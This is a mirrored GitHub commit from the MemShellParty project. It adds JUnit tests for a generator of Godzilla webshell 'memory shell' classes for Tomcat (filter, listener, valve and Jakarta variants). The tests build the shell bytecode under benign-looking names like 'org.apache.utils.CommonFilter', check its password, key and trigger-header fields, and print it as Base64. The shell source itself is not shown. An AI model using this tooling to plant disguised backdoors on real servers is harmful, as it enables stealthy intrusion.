mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
feat: add tomcat listener and valve
This commit is contained in:
@@ -28,33 +28,8 @@ class GodzillaGeneratorTest {
|
||||
@Test
|
||||
@Disabled("just for generate")
|
||||
void testGenerate() throws IOException {
|
||||
System.out.println("hello");
|
||||
String className = "org.apache.utils.CommonFilter";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
||||
IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class")));
|
||||
}
|
||||
|
||||
@Test
|
||||
void generateFilter() {
|
||||
String className = "org.apache.utils.CommonFilter";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void generateListener() {
|
||||
String className = "org.apache.utils.CommonListener";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
}
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaFilterTest {
|
||||
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
String headerValue = "test";
|
||||
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonFilter";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaJakartaFilterTest {
|
||||
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
String headerValue = "test";
|
||||
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonJakartaFilter";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaJakartaFilter.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaJakartaListenerTest {
|
||||
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
String headerValue = "test";
|
||||
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonJakartaListener";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaJakartaListener.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaListenerTest {
|
||||
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
String headerValue = "test";
|
||||
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonListener";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaValveTest {
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
String headerValue = "test";
|
||||
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonValve";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
+20
-10
File diff suppressed because one or more lines are too long
+49
File diff suppressed because one or more lines are too long
+34
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user